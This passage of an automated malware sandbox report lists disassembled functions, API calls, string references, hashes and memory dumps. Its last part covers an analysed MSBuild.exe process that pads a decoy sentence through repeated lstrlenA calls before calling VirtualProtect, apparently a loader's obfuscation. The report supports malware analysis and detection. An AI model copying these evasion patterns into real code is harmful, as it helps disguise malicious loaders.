Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: _strcspn
String ID: kxR
API String ID: 3709121408-2472672925
Opcode ID: 5aff41d91dfbf3e65d996c76526f95eb905bfc18b32dbd3a832a37145b9dab47
Instruction ID: b5e7ca93b4f403ddfaaa0f29ad19fe68ae5d4e20d9f879bff79c80b00c7d2ac5
Opcode Fuzzy Hash: 5aff41d91dfbf3e65d996c76526f95eb905bfc18b32dbd3a832a37145b9dab47
Instruction Fuzzy Hash: DCC143B1548345AFDB10DF64C885AAABBE9EF98300F44C91EF9A487321D370E905CB92

Function 009E85EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132fileCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009E863C
ReadFile.KERNEL32(?,?,00001000,?,00000000,009E8385,00000001,00000000,009D61BC,00000000,?,?,00000000,?,?,009E8808), ref: 009E86C2

Strings

kxR, xrefs: 009E85FB

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: FileReadUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: kxR
API String ID: 1834446548-2472672925
Opcode ID: 9ede237f93db0de2b7c5de211ff280ceea9925e75d20ea6504b9a813dde17df2
Instruction ID: f0ae1c37480e3a5573b5396bbf9ce0c5bed77e0eecedc756d393a945fdd5dc97
Opcode Fuzzy Hash: 9ede237f93db0de2b7c5de211ff280ceea9925e75d20ea6504b9a813dde17df2
Instruction Fuzzy Hash: 6541E675A001D4AFCB22CFA9CC40BEAB7B9FB48300F2481A5E58D96141DB76DEC29F50

Function 009D5F4D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

_Fputc.LIBCPMT ref: 009D6026

Strings

kxR, xrefs: 009D5F53

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: Fputc
String ID: kxR
API String ID: 3078413507-2472672925
Opcode ID: 21115f42b94f55eb7248898c8367de79e89f64ff5eea40f5d094872722650b5b
Instruction ID: b82d68ec5b5f25b8910be4dbcd00eb762d3d53c5a116ed0c15d9867afd4885db
Opcode Fuzzy Hash: 21115f42b94f55eb7248898c8367de79e89f64ff5eea40f5d094872722650b5b
Instruction Fuzzy Hash: 9A416D3695061AABCF14DF69C480AFDB7B9FF08350B15842BE941AB780EB35F945CB90

Function 009DA96D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 009DA992

Strings

RCC, xrefs: 009DA9AC
MOC, xrefs: 009DA9A4

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 98a5684052be1384f13c00033ad4db4f01308c3092bdd3eb0c3349534dc3e023
Instruction ID: 067056f5351e5f927ac958b47d0c9fe6c69dfc88d5b5cd4db7f423450f277983
Opcode Fuzzy Hash: 98a5684052be1384f13c00033ad4db4f01308c3092bdd3eb0c3349534dc3e023
Instruction Fuzzy Hash: 3E416D71940209AFCF16DF94CD81AEEBBBAFF48310F15815AFA0467321D3359961DB52

Function 009E7DC3 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,00000000,?,00000000,009E813A,00000000,00000000,00000000,?,0000000C,00000000,00000000,?,00000000,009FC420), ref: 009E7EAC
GetLastError.KERNEL32(009E813A,00000000,00000000,00000000,?,0000000C,00000000,00000000,?,00000000,009FC420,00000010,009DF4E9,00000000,00000000,00000000), ref: 009E7EDC

Strings

kxR, xrefs: 009E7DD2

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: kxR
API String ID: 442123175-2472672925
Opcode ID: a16ba80cba484d43afcc565be0ddec522f3268eae09e15fddf4f5240584cca1c
Instruction ID: a081c1b3b8aaded2452fd2cbab459dd122ef22f0f9a33ef0c82e9b7c4bb89a26
Opcode Fuzzy Hash: a16ba80cba484d43afcc565be0ddec522f3268eae09e15fddf4f5240584cca1c
Instruction Fuzzy Hash: 85318171B1025AAFDB25CF69DC81BEAB3B9EB48300F1444E9E505D72A0DA30ED81CF61

Function 009E8D25 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,E8458D00), ref: 009E8DF5
__freea.LIBCMT ref: 009E8E04

Part of subcall function 009E3A83: HeapAlloc.KERNEL32(00000000,009EA1AA,?,?,009EA1AA,00000220,?,?,?), ref: 009E3AB5

Strings

kxR, xrefs: 009E8D2D

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: AllocHeapStringType__freea
String ID: kxR
API String ID: 2523373117-2472672925
Opcode ID: 3d9b277be3d40f4c47afdb3ef0b75de3284d33c87fd4a4de8fc1984eb48d7310
Instruction ID: fcce98c6cdf523e7ebeb83409155855e6b55e9ac6b5b2fe75551e7007b60675e
Opcode Fuzzy Hash: 3d9b277be3d40f4c47afdb3ef0b75de3284d33c87fd4a4de8fc1984eb48d7310
Instruction Fuzzy Hash: 7E31D771A00159EBDF229FA6CC45EEF7BA9EF44710F044529F819A7291EB34CD51C790

Function 009D5D41 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__Wcrtomb.LIBCPMT ref: 009D5DA1
__Wcrtomb.LIBCPMT ref: 009D5DCF

Strings

kxR, xrefs: 009D5D47

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: Wcrtomb
String ID: kxR
API String ID: 2723506260-2472672925
Opcode ID: f741807857e50d64395ad0fda244b4def6d01700f9e5f2fe724279a0ef5d9fe1
Instruction ID: 1d9c6dfe713994691ce1c2b30767a7b9422ecc9caca066e30e5eb98960dceefc
Opcode Fuzzy Hash: f741807857e50d64395ad0fda244b4def6d01700f9e5f2fe724279a0ef5d9fe1
Instruction Fuzzy Hash: 4B312FB5A4021AEFCB04DF98C9819AEB7F5FF58300B61846AE945D7341E734EE51CB60

Function 009E7CDA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000,?,009E8125,00000000,00000000,00000000,?,0000000C,00000000), ref: 009E7D84
GetLastError.KERNEL32(?,009E8125,00000000,00000000,00000000,?,0000000C,00000000,00000000,?,00000000,009FC420,00000010,009DF4E9,00000000,00000000), ref: 009E7DAA

Strings

kxR, xrefs: 009E7CE9

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: kxR
API String ID: 442123175-2472672925
Opcode ID: 29424f79941c8344ee0c30566e1f9fc3871cc2b45b6653897d7d2658f7134c2f
Instruction ID: 6fedf1d109d33f76c1503e4eb2d7a6a19b1bd6148ba6a237a24bc3d5890da752
Opcode Fuzzy Hash: 29424f79941c8344ee0c30566e1f9fc3871cc2b45b6653897d7d2658f7134c2f
Instruction Fuzzy Hash: 11217131A142199BCB15CF69DC80AE9F3B9FF88314B1445AAE909D7290D730DE82CAA1

Function 009E7BFF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000,?,009E814C,00000000,00000000,00000000,?,0000000C,00000000), ref: 009E7C9B
GetLastError.KERNEL32(?,009E814C,00000000,00000000,00000000,?,0000000C,00000000,00000000,?,00000000,009FC420,00000010,009DF4E9,00000000,00000000), ref: 009E7CC1

Strings

kxR, xrefs: 009E7C0E

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: kxR
API String ID: 442123175-2472672925
Opcode ID: 1b69948a302a7bc3a43aacf33f8b84c752f181dd39a785b06af0d1ef002ac860
Instruction ID: 20c2275862fd5524a552782b9604c565e56cc7f11edef52f426801ef824b92af
Opcode Fuzzy Hash: 1b69948a302a7bc3a43aacf33f8b84c752f181dd39a785b06af0d1ef002ac860
Instruction Fuzzy Hash: 7521B434A0425A9BCF16CF6ADC80AE9B7B9EB48301F2444AAE946D7311D630DE42CF61

Function 00A14FD8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00A1504A
__aulldiv.LIBCMT ref: 00A15058

Strings

@, xrefs: 00A15025

Memory Dump Source

Source File: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 661ad8443cb0e192280e198e23d76e3e17d7c1ad3677ead7275b466ad8013325
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: 2C214AB1E44218AFDB00DFD4CD49FAEB7B9FB49B00F104619F605BB280C77969018BA5

Function 009D6CA2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 009D7643
___raise_securityfailure.LIBCMT ref: 009D772B

Strings

kxR, xrefs: 009D770C

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: kxR
API String ID: 3761405300-2472672925
Opcode ID: e9ea7221200bf2377c30e55a09cc901a6cdc0c3b4455feacc2e3cfb1a6cba83b
Instruction ID: eaa523bae6ea6b8d768250be9927330acbff19fc9dfbcd2ac79b42b9a12243ad
Opcode Fuzzy Hash: e9ea7221200bf2377c30e55a09cc901a6cdc0c3b4455feacc2e3cfb1a6cba83b
Instruction Fuzzy Hash: 952107BC561204DAD700CFA9F9457507BE4FB8A314F50842AE6048B7B2E7B6E442DF25

Function 009FE0F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 009FE130
__aulldiv.LIBCMT ref: 009FE13E

Strings

@, xrefs: 009FE10B

Memory Dump Source

Source File: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: 6af8037f7bf42fdc5cb0ea803ff6a0a97b6cc7b2bf470dc874cd385eb3d0567d
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 86016DB0E4430CFBEB10DBE1CC4ABADBBB8EB41705F208448F70476290D7B459828B59

Function 009D15DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 009D15E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 009D161E

Part of subcall function 009D5178: _Yarn.LIBCPMT ref: 009D5197
Part of subcall function 009D5178: _Yarn.LIBCPMT ref: 009D51BB

Strings

bad locale name, xrefs: 009D162C

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 69ebc2b70cc60942a3e74f9dba5f716037f9c0a015d5f025d7aba80e21996f0e
Instruction ID: 077fb0975689b2b8e2f803ecb4133d72c00ebe25da3e4a43b4d1f958ae8d23eb
Opcode Fuzzy Hash: 69ebc2b70cc60942a3e74f9dba5f716037f9c0a015d5f025d7aba80e21996f0e
Instruction Fuzzy Hash: 20F017B6549B90AE83319F7A9481547FBE4BE68310394CA2FE1DEC3A11D730E404CB6A

Analysis Process: MSBuild.exePID: 2012, Parent PID: 6720COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
